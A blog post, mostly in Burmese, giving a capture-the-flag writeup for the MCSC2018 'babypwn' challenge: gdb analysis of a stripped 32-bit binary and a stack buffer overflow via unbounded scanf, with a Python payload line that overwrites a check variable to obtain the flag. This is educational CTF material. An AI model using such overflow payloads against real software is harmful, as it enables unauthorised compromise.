Tuesday, January 30, 2018

[MCSC] babypwn-100pts - Writeup [/PWN]



ပထမဆံုး file command နဲ့ တစ္ခ်က္စစ္ျကည့္လိုက္မယ္




 32 bit elf file ပါ။
က်ြန္ေတာ္ ပထမဆံုးလုပ္တာကေတာ့ binary file ကို run ျကည့္တာပါ။
ပထမ တစ္ခါ run တယ္ AAAA input ထည့္ျကည္တယ္ program က normal exit ျဖစ္သြားတယ္
ေနာက္တစ္ခါ buffer overflow ျဖစ္ေလာက္ေစမဲ့ buffer size ကို ထည့္ျကည့္တယ္
buffer overflow ျဖစ္သြားတယ္ [ Segmentation fault (core dumped) ]




 
buffer overflow ျဖစ္သြားတယ္ ဆိုေတာ့ buffer offset size ကို ရွာရပါမယ္။

Ok let open with gdb,

ဒီေနရာမွာတစ္ခုသိထားရမွာက stripped binary ျဖစ္ေနတာပါ။ ဒါေျကာင့္ function name ေတြ က remove လုပ္ထားပါတယ္။ 

binary file က entry point ကို စရွာရပါတယ္။  ( stripped binary ျဖစ္ေနတဲ့ အတြက္ေျကာင့္ပါ )



Entry point: 0x8048420
ဒီလိုဆိုရင္ entry point address ကို ရပါျပီ။




main function ကေန 0x8048531 function ကို ထပ္ေခါ္ထားတာပါ။
0x8048531 ကို ထပ္ျပီး disassemble လုပ္ျကည့္ပါမယ္။



ပံုမွာ ျမင္ရတဲ့အတိုင္း
mov    DWORD PTR [ebp-0x4],0xdeadc0de
variable တစ္ခုကို 0xdeadc0de assign လုပ္လုိက္တယ္ ။
lea    eax,[ebp-0x68]
buffer size ကို 0x68 = 104 ဆိုျပီးေျကညာတယ္။
ျပီးေတာ့
mov    DWORD PTR [esp+0x4],eax 
esp+0x4 address မွာ eax pointer ကို store လုပ္လိုက္တယ္။ scanf ရဲ့ argument 1 အေနနဲ့ေပါ့
mov    DWORD PTR [esp],0x8048702
ဒါကေတာ့ scanf ရဲ့ argument 0 ကို "%s" strings input လုပ္မယ္လို့ ေျကညာလိုက္တာပါ။

ျပီးေတာ့
call   0x8048410 <__isoc99_scanf@plt>
scanf() function ကိုေခါ္လိုက္တယ္ ။ ဒီေနရာမွာ buffer overflow attack ကို ျဖစ္ေပါ္ေစတာပါ။



ေနာက္ဆံုးမွာ ေတာ့
cmp    DWORD PTR [ebp-0x4],0xdeadbeef

နဲ့ compare လုပ္ပါတယ္ အေပါ္မွာ တည္းက ebp-0x4 ကို 0xdeadc0de  stored လုပ္ထားျပီးသား ပါ။
တကယ္လို့သာ က်ြန္ေတာ္ တို့ 0x68 buffer size ထက္ပိုတဲ့ buffer size ကို input ထည့္လိုက္မယ္ဆိုရင္ ebp-0x4 ကို overwrite လုပ္လို့ရမွာျဖစ္ပါတယ္။
ဒီေနရာမွာ break point ကို နွစ္ေနရာ သတ္မွတ္ပါမယ္ scanf function မေခါ္ခင္နဲ့ ေခါ္ျပီးတဲ့ အခ်ိန္။
ပထမ breakpoint ကို 0x0804858e မွာ ဒုတိယ breakpoint ကို 0x0804859a မွာ break point သတ္မွတ္ျပီး
program ကို run လိုက္ပါ့မယ္
program run ျပီးတဲ့ အခ်ိန္မွာ ေတာ့ ပထမ breakpoint ကို ေရာက္သြားပါမယ္။
ေအာက္က ပံုကို ျကည့္ျကည့္ပါ။



$ebp-0x4 မွာ 0xdeadc0de ဆိုတဲ့ value ကို assign လုပ္ထားပါတယ္။
ျပီးေတာ့ program ကို continue လုပ္မယ္။

input ကို A*100+"BBBB" ( AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB )
ထည့္ျပီး

Enter ရိုက္လိုက္ရင္ ဒုတိယ
break point ရွိတဲ့ ေနရာမွာ program က pause ျဖစ္သြားပါလိမ့္မယ္။



program pause ျဖစ္သြားတဲ့ အခါမွာ
$bpx-0x4 address မွာ ဘယ္ value ေတြ overwrite ျဖစ္သြားလဲ ဆိုတာကို သိဖို့
x/wx $ebp-0x4
ျပီးရိုက္ျကည့္လိုက္တဲ့ အခါမွာေတာ့ 0x42424242
ဆိုျပီးျဖစ္ေနပါျပီ 42 က ေတာ့ B ရဲ့ hex value ျဖစ္ပါတယ္
ဒါဆိုရင္ေတာ့ $ebp-0x4 address ကို overwrite လုပ္နိုင္ခဲ့ပါျပီ။ 



ပံုမွာ ျမင္ရတဲ့ အတိုင္း $ebp-0x4 က 0xdeadbeef နဲ့ ညီခဲ့ရင္ flag ကို ရမွာ ျဖစ္ျပီး၊ မညီခဲ့ရင္ေတာ့
0x80485b6 ကို jump သြားမွာျဖစ္ပါတယ္။
ဒါေျကာင့္ က်ြန္ေတာ္ တို့က
$ebp-0x4 overwrite ျဖစ္သြားတဲ့ ေနရင္မွာ 0xdeadbeef
ကို overwrite ျဖစ္ေအာင္လုပ္ေပးရမွာ ဆိုေတာ့

python -c 'print "A"*100+"\xef\xbe\xad\xde"' > exp
ဒီေနရာမွာ  0xdeadbeef အစား "\xef\xbe\xad\xde" ကိုထည့္လိုက္လဲဆိုေတာ့ က little-enidan ျဖစ္ေနလို့ပါ။ Check Here
ျပီးေတာ့မွာ
gdb မွာ
r < exp
ဆိုျပီး ျပန္ run ျကည့္လိုက္တဲ့ အခါမွ



အခုဆိုရင္ေတာ့ $ebp-0x4 address ကို 0xdeadbeef overwrite လုပ္နိုင္သြားျပီ ျဖစ္ပါတယ္။
real server မွာ စမ္းျကည့္လိုက္တဲ့ အခါမွာ ေတာ့
flag ကို ရမွာ ျဖစ္ပါတယ္



Thank For Reading





This is fifth challenge that I solved in MCSC2018.
And the first solver team of that challenge, so we got another bonus (1 point ). yay!

I want to say thank you to challenge creator.

No comments:

Post a Comment